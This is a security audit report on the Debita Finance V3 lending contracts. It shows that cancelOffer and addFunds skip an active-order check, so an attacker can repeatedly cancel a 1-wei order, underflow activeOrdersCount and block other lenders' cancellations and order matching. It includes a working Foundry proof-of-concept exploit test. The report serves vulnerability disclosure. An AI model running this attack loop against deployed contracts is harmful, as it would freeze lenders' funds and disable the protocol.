Micro Ginger Tarantula

High

# Cancelation and matching of lend orders can be dossed

### Summary

The ``DebitaLendOfferFactory.sol`` contract allows users to permisionlessly create lend orders by calling the [DebitaLendOfferFactory::createLendOrder()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L124-L203) function. It creates a new instance of the ``DebitaLendOffer-Implementation.sol`` contract, which is responsible for managing the lend order. It also tracks different parameters for all orders such as the number of all active orders via the ``activeOrdersCount`` parameter. When a lend order is not perpetual and all of its amount is matched the ``DebitaLendOffer-Implementation.sol`` instance calls the [DebitaLendOfferFactory::deleteOrder()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L207-L220) function, which changes some params used to track information about the available orders and decreases the ``activeOrdersCount`` parameter. The [DebitaLendOfferFactory::deleteOrder()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L207-L220) function is also called when a lender decides to cancel his lend order via the [DebitaLendOffer-Implementation::cancelOffer()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144-L159) function:
```solidity
    function cancelOffer() public onlyOwner nonReentrant {
        uint availableAmount = lendInformation.availableAmount;
        lendInformation.perpetual = false;
        lendInformation.availableAmount = 0;
        require(availableAmount > 0, "No funds to cancel");
        isActive = false;

        SafeERC20.safeTransfer(
            IERC20(lendInformation.principle),
            msg.sender,
            availableAmount
        );
        IDLOFactory(factoryContract).emitDelete(address(this));
        IDLOFactory(factoryContract).deleteOrder(address(this));
        // emit canceled event on factory
    }
```
As can be seen from the above code snippet, the function only checks whether the available amount is bigger than 0, it doesn't check whether the lend order is active. The [DebitaLendOffer-Implementation::addFunds()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L162-L176) function allows the owner of the lend order to add funds to his order and in this way increae the available amount of his lend order:
```solidity
    function addFunds(uint amount) public nonReentrant {
        require(
            msg.sender == lendInformation.owner ||
                IAggregator(aggregatorContract).isSenderALoan(msg.sender),
            "Only owner or loan"
        );
        SafeERC20.safeTransferFrom(
            IERC20(lendInformation.principle),
            msg.sender,
            address(this),
            amount
        );
        lendInformation.availableAmount += amount;
        IDLOFactory(factoryContract).emitUpdate(address(this));
    }
```
As can be seen from the code snippet above the [DebitaLendOffer-Implementation::addFunds()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L162-L176) function also doesn't check whether the lend order is active or not. This is problematic because the [DebitaLendOffer-Implementation::cancelOffer()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144-L159) function can be called multiple times by a malicious actor in order to decrease the global ``activeOrdersCount`` parameter, when that parameter reaches 0, and other non malicious users try to cancel their lend orders they won't be able to as the call will revert with an underflow error. It is the same scenario when a non perpetual lend order is fully matched when used as one of the lend orders in the [DebitaV3Aggregator::matchOffersV3()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L274-L647) function, the whole call will revert.  A [DebitaV3Aggregator::matchOffersV3()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L274-L647) function call can take up to 29 different lend orders. This essentially doses the matching of orders which is the main purpose of the protocol, an attacker can simply add 1 WEI of principal and then cancel his order as many times as he wishes,  essentially making the whole protocol obsolete, and resulting in the locking of funds of the lenders. 

### Root Cause

The [DebitaLendOffer-Implementation::cancelOffer()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144-L159) and the [DebitaLendOffer-Implementation::addFunds()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L162-L176) functions don't check whether the lend offer is active or not. 

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

_No response_

### Impact

If a malicious actor is constantly adding funds to his lend order and then canceling it, he will keep the ``activeOrdersCount`` parameter at 0, which won't allow new loans to be created by matching borrow and lend orders via the [DebitaV3Aggregator::matchOffersV3()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L274-L647) function. Also when other lenders decide to cancel their lend orders and withdraw the principal they provided, they won't be able to do so, essentially locking the tokens in the Debita protocol. 

### PoC

[Gist](https://gist.github.com/AtanasDimulski/365c16f87db9360aaf11937b4d9f4be5)
After following the steps in the above mentioned [gist](https://gist.github.com/AtanasDimulski/365c16f87db9360aaf11937b4d9f4be5) add the following test to the ``AuditorTests.t.sol`` file:
```solidity
    function test_MaliciousActorCanDOSCancalationOfLendOrders() public {
        vm.startPrank(alice);
        USDC.mint(alice, 2_700e6);
        USDC.approve(address(dloFactory), type(uint256).max);
        bool[] memory oraclesActivated = new bool[](1);
        oraclesActivated[0] = false;

        uint256[] memory LTVs = new uint256[](1);
        LTVs[0] = 0;

        address[] memory acceptedCollaterals = new address[](1);
        acceptedCollaterals[0] = address(WETH);

        address[] memory oraclesCollateral = new address[](1);
        oraclesCollateral[0] = address(0);

        uint256[] memory ratio = new uint256[](1);
        ratio[0] = 2_700e6;

        address aliceLendOffer = dloFactory.createLendOrder(
            false,
            oraclesActivated,
            false,
            LTVs,
            1500,
            864_000,
            86400,
            acceptedCollaterals,
            address(USDC),
            oraclesCollateral,
            ratio,
            address(0),
            2_700e6
        );
        vm.stopPrank();

        vm.startPrank(bob);
        USDC.mint(bob, 2_700e6);
        USDC.approve(address(dloFactory), type(uint256).max);
        address bobLendOffer = dloFactory.createLendOrder(
            false,
            oraclesActivated,
            false,
            LTVs,
            1500,
            864_000,
            86400,
            acceptedCollaterals,
            address(USDC),
            oraclesCollateral,
            ratio,
            address(0),
            2_700e6
        );
        vm.stopPrank();

        vm.startPrank(tom);
        USDC.mint(tom, 2_700e6);
        USDC.approve(address(dloFactory), type(uint256).max);
        address tomLendOffer = dloFactory.createLendOrder(
            false,
            oraclesActivated,
            false,
            LTVs,
            1500,
            864_000,
            86400,
            acceptedCollaterals,
            address(USDC),
            oraclesCollateral,
            ratio,
            address(0),
            2_700e6
        );
        vm.stopPrank();

        vm.startPrank(attacker);
        USDC.mint(attacker, 1);
        USDC.approve(address(dloFactory), type(uint256).max);
        address attackerLendOffer = dloFactory.createLendOrder(
            false,
            oraclesActivated,
            false,
            LTVs,
            1500,
            864_000,
            86400,
            acceptedCollaterals,
            address(USDC),
            oraclesCollateral,
            ratio,
            address(0),
            1
        );
        USDC.approve(attackerLendOffer, type(uint256).max);
        DLOImplementation(attackerLendOffer).cancelOffer();
        DLOImplementation(attackerLendOffer).addFunds(1);

        DLOImplementation(attackerLendOffer).cancelOffer();
        DLOImplementation(attackerLendOffer).addFunds(1);

        DLOImplementation(attackerLendOffer).cancelOffer();
        DLOImplementation(attackerLendOffer).addFunds(1);

        DLOImplementation(attackerLendOffer).cancelOffer();
        DLOImplementation(attackerLendOffer).addFunds(1);         
        vm.stopPrank();

        vm.startPrank(alice);
        vm.expectRevert(stdError.arithmeticError);
        DLOImplementation(aliceLendOffer).cancelOffer();
        vm.stopPrank();
    }
```

To run the test use: ``forge test -vvv --mt test_MaliciousActorCanDOSCancalationOfLendOrders``

### Mitigation

_No response_